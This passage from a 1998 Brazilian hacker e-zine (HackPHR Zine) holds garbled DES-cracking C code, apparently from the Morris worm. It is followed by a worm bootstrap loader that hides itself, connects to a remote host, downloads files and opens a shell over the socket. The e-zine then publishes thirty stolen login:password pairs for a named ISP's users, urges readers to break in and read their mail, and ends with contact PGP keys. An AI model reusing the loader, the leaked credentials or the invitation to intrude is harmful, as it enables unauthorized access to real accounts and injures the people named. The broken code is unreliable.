	    d6 |= PC1[d3+1];
	}
 
    for	(d2 = iptr[0];	d3 < 128; d2*=2, d3+=2)
	if (d2 < 0) {
	    d7 |= PC1[d3];
	    d6 |= PC1[d3+1];
	}
 
 
    for	(i = 0;	i < 16;	i++) {
	for (d2	= 0; d2	< shift[i]; d2++) {
	    l16	= l12 =	l8 = 0;
	    if (d7 < 0)
		l8 = 16;
	    if (d7 & 0x08)
		l12 = 256;
	    if (d6 < 0)
		l16 = 1;
	    d7 = ((d7 << 1) & ~0x10) | l8 | l16;
	    d6 = (d6 <<	1) | l12;
	}
 
 
	d5 = 0;
	d4 = 0;
	for (d3=0, d2=d6;  d3 <	64;  d2*=2, d3+=2) {
	    if (d2 < 0)	{
		d5 |= PC2[d3];
		d4 |= PC2[d3+1];
	    }
	}
	for (d2=d7;  d3	< 128;	d2*=2, d3+=2) {
	    if (d2 < 0)	{
		d5 |= PC2[d3];
		d4 |= PC2[d3+1];
	    }
	}
 
	if (key) {
	    keys_L[15-i] = d5;
	    keys_H[15-i] = d4;
	} else {
	    keys_L[i] =	d5;
	    keys_H[i] =	d4;
	}
    }
 
}
 
setupE()
{
    int	i, j, l12;
 
    for(i = 0; i < 8; i++)
	for(j =	0; j < 16; j++)
	    E_H[i][j] =	E_H[i][j] = 0;
 
    for	(j = 0;	j < 32;	j++) {
	l12 = 31 - E[j];
	for (i = 0; i <	16; i++)
	    if ((1 << (l12 % 4)) & i)
		E_L[l12	/ 4][i]	|= (1 << (31 - j));
    }
 
    for	(j = 32; j < 48; j++) {
	l12 = 31 - E[j];
	for (i = 0; i <	16; i++)
	    if ((1 << (l12 % 4)) & i)
		E_H[l12	/ 4][i]	|= (1 << (63 - j));
    }
}
 
des(adr1, adr2)
     int *adr1,	*adr2;
{
    int	l4, *l8, *l12, l16;
    register unsigned d7;
    register unsigned d6, d5;
    register d4, d3, d2;
 
    l4 = adr1[0];
    d2 = adr1[1];
    for	(l16 = 0; l16 <	25; l16++) {
	l8 = keys_L;
	l12 = keys_H;
	for( d3	= 0;  d3 < 16;	d3++) {
	    d5 = d2;
	    d7 = E_L[0][d4 = d5	& 0x0f];
	    d6 = E_H[0][d4];
	    d5 >>= 4;
	    d7 |= E_L[1][d4 = (d5 & 0x0f)];
	    d6 |= E_H[1][d4];
	    d5 >>= 4;
	    d7 |= E_L[2][d4 = (d5 & 0x0f)];
	    d6 |= E_H[2][d4];
	    d5 >>= 4;
	    d7 |= E_L[3][d4 = (d5 & 0x0f)];
	    d6 |= E_H[3][d4];
	    d5 >>= 4;
	    d7 |= E_L[4][d4 = (d5 & 0x0f)];
	    d6 |= E_H[4][d4];
	    d5 >>= 4;
	    d7 |= E_L[5][d4 = (d5 & 0x0f)];
	    d6 |= E_H[5][d4];
	    d5 >>= 4;
            d7 |= E_L[6][d4 = (d5 & 0x0f)];
            d6 |= E_H[6][d4];
            d5 >>= 4;
            d7 |= E_L[7][d4 = (d5 & 0x0f)];
            d6 |= E_H[7][d4];
            d7 ^= *l8++;
            d6 ^= *l12++;

            d5 = SPO[(d6 >> 16) & 0x3f];
            d5 |= SP1[(d6 >> 22) & 00x3f];
            d5 |= SP2[((d7 & 0x03) << 4) | ((d6 >> 28) & 0x0f)];
            d5 |= SP3[(d7 >> 2) & 0x3f];
            d5 |= SP4[(d7 >> 8) & 0x3f];
            d5 |= SP5[(d7 >> 14) & 0x3f];
            d5 |= SP6[(d7 >> 20) & 0x3f];
            d5 |= SP7[(d7 >> 26) & 0x3f];
            {   d6 = 14;
                l4 = d2;
                d2 = d6 ^ d5;
            }
       }
       d5 = l4;
       l4 = d2;
       d2 = d5;
   }
   adr2[0] = l4;
   adr2[1] = d2;
}
ipi(iptr1, iptr2)
            int *iptr1, *iptr2;
{
   register unsigned d7, d6, d5;

   d5 = iptr1[0];
   d7 = ipi_L0[d5 & 0x0f];
   d5 = >>= 4;
   d6 = ipi_H1[d5 & 0x0f];

   d5 >>= 4;
   d7 |= ipi_L2[d5 & 0x0f];
   d5 >>= 4;
   d6 |= ipi_H3[d5 & 0x0f];

   d5 >>= 4;
   d7 |= ipi_L4[d5 & 0x0f];
   d5 >>= 4;
   d6 |= ipi_H5[d5 & 0x0f];

   d5 >>= 4;
   d7 | ipi_L6[d5 & 0x0f];
   d5 >>=4;
   d6 |= ipi_H7[d5 & 0x0f];

   d5 = iptr1[1];
   d7 |= ipi_L8[d5 & 0x0f];
   d5 >>= 4;
   d6 |= ipi_H9[d5 & 0x0f];

   d5 >>= 4;
   d7 |= ipi_La[d5 & 0x0f];
   d5 >>= 4;
   d6 |= ipi_Hb[d5 & 0x0f];

   d5 >>=4;
   d7 |= ipi_Lc[d5 & 0x0f];
   d5 >>= 4;
   d6 |= ipi_Hd[d5 & 0x0f];

   d5 >>= 4;
   d7 |= ipi_Le[d5 & 0x0f];
   d5 >>= 4;
   d6 |= ipi_Hf[d5 & 0x0f];

   iptr2[0] = d7;
   ipyr2[1] = d6;
}

/*
 * Local variables:
 * compile-command: "make"
 * comment-collumn: 48
 * End:
 */
<--------- EOF --------->

<--------- x8113550.C --------->
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

main(argc, argv)
char *argv[];
{
	struct sockaddr_in sin;
	int s, i, magic, nfiles, j, len, n;
	FILE *fp;
	char files[20][128];
	char buf[2048], *p;

	unlink(argv[0]);
	if(argc != 4)
		exit(1);
	for(i = 0; i < 32; i++)
		close(i);
	i = fork();
	if(i < 0)
		exit(1);
	if(i > 0)
		exit(0);

	bzero(&sin, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = inet_addr(argv[1]);
	sin.sin_port = htons(atoi(argv[2]));
	magic = htonl(atoi(argv[3]));

	for(i = 0; i < argc; i++)
		for(j = 0; argv[i][j]; j++)
			argv[i][j] = '\0';

	s = socket(AF_INET, SOCK_STREAM, 0);
	if(connect(s, &sin, sizeof(sin)) < 0){
		perror("l1 connect");
		exit(1);
	}
	dup2(s, 1);
	dup2(s, 2);

	write(s, &magic, 4);

	nfiles = 0;
	while(1){
		if(xread(s, &len, 4) != 4)
			goto bad;
		len = ntohl(len);
		if(len == -1)
			break;

		if(xread(s, &(files[nfiles][0]), 128) != 128)
			goto bad;

		unlink(files[nfiles]);
		fp = fopen(files[nfiles], "w");
		if(fp == 0)
			goto bad;
		nfiles++;

		while(len > 0){
			n = sizeof(buf);
			if(n > len)
				n = len;
			n = read(s, buf, n);
			if(n <= 0)
				goto bad;
			if(fwrite(buf, 1, n, fp) != n)
				goto bad;
			len -= n;
		}
		fclose(fp);
	}

	execl("/bin/sh", "sh", 0);
bad:
	for(i = 0; i < nfiles; i++)
		unlink(files[i]);
	exit(1);
}

static
xread(fd, buf, n)
char *buf;
{
	int cc, n1;

	n1 = 0;
	while(n1 < n){
		cc = read(fd, buf, n - n1);
		if(cc <= 0)
			return(cc);
		buf += cc;
		n1 += cc;
	}
	return(n1);
}
int zz;
<--------- EOF --------->

                      
E-mail : black_mask@usa.net
E-mail : quick_death@usa.net


   1998, BLAcK MaSK  &  QuIcK DeAtH - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                     

                     11  -  BRINDE : SENHAS !!!
                    -=-=-=-=-=-=-=-=-=-=-=-=-=-=- 


Ae galera ! Nos nao tinhamos a menor intencao de distribuir estas senhas, mas
como  os  caras  de  lah  sao uns palhacos e se acham os tais, resolvemos dar
algumas  senhas de  brinde pra voces brincarem um pouquinho... :))

Vejam o conselho que os admins deram aos seus usuarios e facam o mesmo ! ;-p

<from:info@whiteduck.com.br>
<to:all@whiteduck.com.br>

----
Atencao Usuarios,
Para   sua  seguranca,  recomendamos  a  troca  periodica  de  suas   senhas.
Aconselha-se  senhas que nao seja obvias tais como datas de nascimento, entre
outras.  Em  breve estaremos disponibilizando tambem mais 10 linhas de acesso
via linha discada.

Atenciosamente,

White Duck Net
----

WHITEDUCK NET - FONE : (046) 220-00?? <= 1100100 - 10010110 + 111101 (binario)
                       (vai dar um interurbano danado! :-/ )
--------------------
www.whiteduck.com.br
--------------------
login:password
--------------
ascari:123456
jcb:123456
abrahao:123456
educacao:1234
palmali:1234
alunos:123
aluno:wdn
aluna:123
alunas:123
ced:gremio
cako:orecic
tibetano:tibete
bodanese:caramuru
ange:dini
kar:draw
pereyra:fabi
jessica:mhd
ihal:yazigi
mother:yazigi
gerhardt:vitor
caic:saojoao
hofmann:cefet
ramina:junior
prefeitura:mari
pref_financa:financa
pref_plan:plan
giovanaz:aguia
megasoft:mega
trento:caixa

Aih chega !  Jah  sao  30 senhas pra vcs usarem a vontade. Se quiserem gastar
algumas  horas  e  rapar  os  mails  destes usuarios fica aos seus criterios. 

Ahhh... e se quiserem ver como ficaram as hps hackeadas deste provedor  e  de
outros provedores vao em http://www.blackmask.base.org

   1998, HackPHR Group Team - HackPHR ZiNE
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                     12  -  ENTRANDO EM CONTATO
                    -=-=-=-=-=-=-=-=-=-=-=-=-=-=- 

   Se vc quiser comentar sobre uma materia ou alguma coisa assim, mande um
mail para o autor. Se vc nao sabe, no indice e no rodape de cada materia tem
o nome do autor q escreveu, para comentarios gerais sobre o zine, mande para
hacphr@hotmail.com. Use este apenas para comentarios, criticas, sugestoes, e
etc...


            MaNdRaCk   : mandrack@geocities.com

            Cebola     : cebola_br@hotmail.com

            BLAcK MaSK : black_mask@usa.net


Se quiserem usar o PGP :

BLAcK MaSK's KEY 4 DOS/rWIN95

Type Bits/KeyID    Date       User ID
pub  1024/A5134BD5 1998/05/11 BLAcK MaSK <black_mask@usa.net>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3ia

mQCNAzVXIQYAAAEEALKzWaGOQwo7GFEUjmCJ1iDl4sXKGZZHBz/yxaUHhiCxmTNH
VPrYydvtaIzeT0bZF5xasYFDk5/irDwpxxPCkA6yy/V2ViBvQjpr1KzKFZ/LjWmO
ZQp8uLuf4y1AEvwIqe5oOvfWtuCCgO0KDx2zrgwyQw9anudxM6I3YXClE0vVAAUR
tB9CTEFjSyBNYVNLIDxibGFja19tYXNrQHVzYS5uZXQ+iQCVAwUQNVchBqI3YXCl
E0vVAQH4CQQAkzJUbqgP5ZPwiUO+XDqFxvude3I/sJ6grFjZ0n3JYSHSqputYxI6
T3Yk/3oXL7XNyHh0VI3ZT3ju1ZcS5LavWB66wGhB3j8BX9d4sVgpqD0UEe1WUI4R
6jfKmi+oWxVjnZPa3hK0QtYhAjSTaztUx4CbMIVC0W5Hh4Z4ofl/UJ4=
=teIG
-----END PGP PUBLIC KEY BLOCK-----


BLAcK MaSK's KEY 4 LiNUX

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use

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
Kw8yRgCe
=olvB
-----END PGP PUBLIC KEY BLOCK-----


CEBOLA's KEY 4 LiNUX

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.5.5 for non-commercial use <http://www.nai.com>

mQGiBDVqDoURBADl8Cb5AgMW9JfDjVqpxIqB24O1Ica4Ylp9ti1ZHWXOdlhCbmGQ
QZOyhkCfgaSMxiDuB9KKbaY1BOhN9nz7Im0fWHNdDiu0K39YpNoqDH/6qIZI+L6q
NtABvfVTvUw5eJEKjJD2tQXfjxFh3lxgEMDIbqVXe1+aXCSj7g/KfWeC1QCg/xfj
0Ti9X2xBODXKqakauSDxH7UD/0r7mav2+mogZM0BhKcXqHK8UwkOXbs8fw2K8OJO
otB3d9mlwmcAeULgmmH/OJpgd3uRWcLencs/T6bANhN+1YP9l2HslJFGKOuHH0Cg
ca0iB409OjzmSm4Q27aMRvGPpJJl0aktpCOqR+0cjlMVA1vnBFTctPZVGkmqvhHl
2NqOBADY1eCOJ8xQYchesJGUjPvRmUX3RRpgLGtOc1U0iMZlgvqgmNBY3xrLGOsD
/AGIZnn/mCuwJWurV/BdKtUbL+wx4/XXZUTp2MFD6BGMYQt063XL9Hlow3vLPWI1
IIM9LQZ/PxhfhLyN6Vw06FfvUXyfAjdOSGSWFjDA+kWOTWWZ9LQeQ2Vib2xhIDxj
ZWJvbGFfYnJAaG90bWFpbC5jb20+iQBLBBARAgALBQI1ag6FBAsDAgEACgkQhUGv
RkVxguKCnQCgk96rdAMktBlHW/tVBjP6LHgBRiQAoI5yCSE5+V9pwvopdjbUTPQN
eW5uuQINBDVqDoYQCAD2Qle3CH8IF3KiutapQvMF6PlTETlPtvFuuUs4INoBp1aj
FOmPQFXz0AfGy0OplK33TGSGSfgMg71l6RfUodNQ+PVZX9x2Uk89PY3bzpnhV5JZ
zf24rnRPxfx2vIPFRzBhznzJZv8V+bv9kV7HAarTW56NoKVyOtQa8L9GAFgr5fSI
/VhOSdvNILSd5JEHNmszbDgNRR0PfIizHHxbLY7288kjwEPwpVsYjY67VYy4XTjT
NP18F1dDox0YbN4zISy1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AK
UJsCRtMIPWakXUGfnHy9iUsiGSa6q6Jew1XpMgs7AAICB/48zy0VzEmyuBT87ZUu
mPsfcL2u+D4nh2EPfL6ivy+dA+8ARf5xA8q0gqdyYLVFJ1JiUt2DOnOX6IKjfYIK
RTEaOh+gRKR9PSpqV4l4y2tfNA/MeaQU3lIyr1WOokt2nMdKfj8N2AyVn8Fx8EXR
7YObs2d2ABSyL/tZChbCxorddq8GC3rfXDhrjnz++n+nzuT3kxCJRxd3/wzjfFD9
gH3sAGRcFWki4T6eY1stc0liEBGKAv9lHcbxD+Poe4XLC6BvmOLgLRzP0WvwoDnT
KLTbDz21vU0MjscgC9UBYLqUD8kBwGaxn4ad2YroaEmzXh8Zp/ay8LRzv5oIvrvq
+JTYiQBGBBgRAgAGBQI1ag6GAAoJEIVBr0ZFcYLicloAoI+7z3UtPgH7qCtVCbaB
pqSaD5FGAKDA/6rrESpm0WvQhGtA/uw4xeVyWg==
=0rUI
-----END PGP PUBLIC KEY BLOCK-----


MaNdRaCk's KEY

Type Bits/KeyID    Date       User ID
pub  1024/B09B1A15 1998/06/01 MaNdRaCk <mandrack@geocities.com>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3ia

mQCNAzVypUkAAAEEAKthWZTIEtxCPZfLfKu0pIgt1oKfSRdV/WFnkFITcIIeHlZP
EiwImBupP3rR3Vc8mLQ2t45UI0bgTMCBTe5YR+arMuZZCncNjN0naM/4TokKOIyD
DKo47P12Y+F/brB2x/VsetLAtQ+pvDETs9k6Bact1Kax+95btPgmKu2wmxoVAAUR
tCFNYU5kUmFDayA8bWFuZHJhY2tAZ2VvY2l0aWVzLmNvbT6JAJQDBRA1cqVJ+CYq
7bCbGhUBARUvA/ipWtrMjRDJO4UKDPmdXQb/U/ASRDAjAPCEu10zjj/UHAe06P0f
euWa36MnI3Y9S2O694kWUDHP2pWTu7Hv8Yx7HGldAnhC2a/lQV2yqW3TNwB94i31
OZh0Lg2GVPcwmK7xh9Kr3j/GirN/jREtw5daj4Vy/fUprO1slzRhuU1T
=wZJy
-----END PGP PUBLIC KEY BLOCK-----


   1998, Hack and Phreak Zine Team - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-